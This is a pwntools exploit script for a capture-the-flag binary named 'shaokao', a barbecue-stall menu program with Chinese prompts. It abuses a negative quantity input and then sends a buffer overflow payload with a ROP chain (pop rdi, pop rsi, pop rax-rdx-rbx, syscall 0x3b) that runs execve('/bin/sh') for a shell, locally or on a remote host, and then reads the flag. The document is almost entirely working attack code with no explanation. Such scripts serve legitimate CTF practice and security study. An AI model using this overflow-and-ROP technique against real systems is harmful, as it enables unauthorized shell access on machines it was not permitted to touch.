1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
|
from pwn import * import os import sys
context.os = 'linux' context.terminal = ['tmux', 'splitw', '-h']
LOCAL = 0 LIBC = 0 elf_path = './shaokao' libc_path = './libc.so.61' code = ELF(elf_path) context.arch=code.arch
r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
if (len(sys.argv) < 2): LOCAL = 1 context.log_level = 'debug' elif len(sys.argv) == 1: print ("Welcome to c0ke's simplified pwntools template!!!") print ("Usage : \n") print (" python mode.py HOST:PORT\n ") exit() else: context.log_level = 'debug' server_ip = sys.argv[1].split(':')[0] server_port = int(sys.argv[1].split(':')[1])
def db(): if (LOCAL): gdb.attach(io)
def cat_flag(): flag_header = b'flag{' sleep(1) sl('cat flag') ru(flag_header) flag = flag_header + ru('}') + b'}' exit(0)
def exploit(): li('exploit...') se(1) sla("3. 勇闯天涯\n",'3') sla("来几瓶?\n","-100000") se(4) se(5)
name = 0x0000000004E60F0 pop_rdi = 0x000000000040264f pop_rsi = 0x000000000040a67e pop_rax_rdx_rbx = 0x00000000004a404a sysacall = 0x0000000000402404 pl = "/bin/sh\x00"+(32-8)*b"a"+b'b'*8+p64(pop_rdi)+p64(name)+p64(pop_rsi)+p64(0)+p64(pop_rax_rdx_rbx)+p64(0x3b)+p64(0)*2+p64(sysacall) sla("烧烤摊儿已归你所有,请赐名:\n",pl)
def se(x): sla("> ",str(x))
def finish(): ia() c()
if __name__ == '__main__': if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env={"LD_PRELOAD": libc_path}) else: io = elf.process() else: elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
|